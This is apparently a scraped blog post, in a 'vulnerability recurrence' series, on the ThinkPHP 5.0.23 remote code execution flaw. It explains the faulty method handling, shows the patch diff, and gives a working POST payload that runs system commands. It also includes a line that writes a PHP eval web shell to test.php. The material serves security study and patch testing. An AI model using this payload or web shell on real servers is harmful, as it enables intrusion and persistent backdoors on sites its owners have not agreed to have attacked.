当前位置:网站首页>Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
Vulnerability recurrence ----- 38. Thinkphp5 5.0.23 Remote Code Execution Vulnerability
2022-06-30 18:23:00 【Seven days】
List of articles
One 、 Vulnerability profile
5.0.23 In previous versions , obtain method The method name is not handled correctly in the method of , Causes an attacker to call Request Class any method and construct the utilization chain , This leads to a Remote Code Execution Vulnerability .Thinkphp Source download
The vulnerability code is as follows
:
@@ -522,8 +522,11 @@ public function method($method = false)
return $this->server('REQUEST_METHOD') ?: 'GET';
} elseif (!$this->method) {
if (isset($_POST[Config::get('var_method')])) {
$this->method = strtoupper($_POST[Config::get('var_method')]);
$this->{
$this->method}($_POST);
$method = strtoupper($_POST[Config::get('var_method')]);
if (in_array($method, ['GET', 'POST', 'DELETE', 'PUT', 'PATCH'])) {
$this->method = $method;
$this->{
$this->method}($_POST);
}
} elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
$this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
} else {
call $this->{$this->method}($_POST);
sentence . When we can control $method
The value of , You can call Request
Class , When the constructor is called __construct()
when , Can be covered Request Any member variable of a class , You can override $this->method
, Appoint check()
Methods $method
value .
Two 、 Loophole recurrence
visit IP:8080 Grab the bag
Change request toPOST /index.php?s=captcha
Message body is :_method=__construct&filter[]=system&method=get&server[REQUEST_METHOD]=command
commond=id
/ls
/whoami
/echo <?php eval($_POST['cmd']);?> > test.php
边栏推荐
- 助力极致体验,火山引擎边缘计算最佳实践
- . Net ORM framework hisql practice - Chapter 1 - integrating hisql
- 分布式机器学习:模型平均MA与弹性平均EASGD(PySpark)
- What did Tongji and Ali study in the CVPR 2022 best student thesis award? This is an interpretation of yizuo
- 基於SSH的網上商城設計
- Word中添加代码块(转载)
- 【机器学习】K-means聚类分析
- 5g has been in business for three years. Where will innovation go in the future?
- Redis (IV) - delete policy
- Inventory in the first half of 2022: summary of major updates and technical points of 20+ mainstream databases
猜你喜欢
Redis (V) - advanced data types
ASP. Net generate verification code
leetcode:787. The cheapest transfer flight in station K [k-step shortest path + DFS memory + defaultdict (dict)]
Word中添加代码块(转载)
Hcip (Huawei Senior Network Security Engineer) (Experiment 8) (MPLS basic experiment)
Redis (II) -- persistence
Nft: unlimited possibilities to open the era of encryption Art
Optimize with netcorebeauty Net core independent deployment directory structure
又一篇CVPR 2022论文被指抄袭,平安保险研究者控诉IBM苏黎世团队
Deep understanding of JVM (VI) -- garbage collection (III)
随机推荐
Deep understanding of JVM (I) - memory structure (I)
基于eNSP的校园网设计的仿真模拟
100 examples of bug records of unity development (the first example) -- shader failure or bug after packaging
腾讯持久化框架MMKV原理探究
Simulation of campus network design based on ENSP
Thinking on large file processing (upload, download)
墨天轮沙龙 | 清华乔嘉林:Apache IoTDB,源于清华,建设开源生态之路
leetcode:787. The cheapest transfer flight in station K [k-step shortest path + DFS memory + defaultdict (dict)]
Sign up for Huawei cloud proposition in the "Internet +" competition, and you can take many gifts!
LeetCode之合并二叉树
联想“双平台”运维解决方案 助力智慧医疗行业智慧管理能力全面提升
ASP. Net generate verification code
[machine learning] K-means clustering analysis
又一篇CVPR 2022论文被指抄袭,平安保险研究者控诉IBM苏黎世团队
漏洞复现----37、Apache Unomi 远程代码执行漏洞 (CVE-2020-13942)
Unity开发bug记录100例子(第1例)——打包后shader失效或者bug
TCP session hijacking based on hunt1.5
Nielseniq welcomes dawn E. Norvell, head of retail lab, to accelerate the expansion of global retail strategy
Post penetration file system + uploading and downloading files
Distributed machine learning: model average Ma and elastic average easgd (pyspark)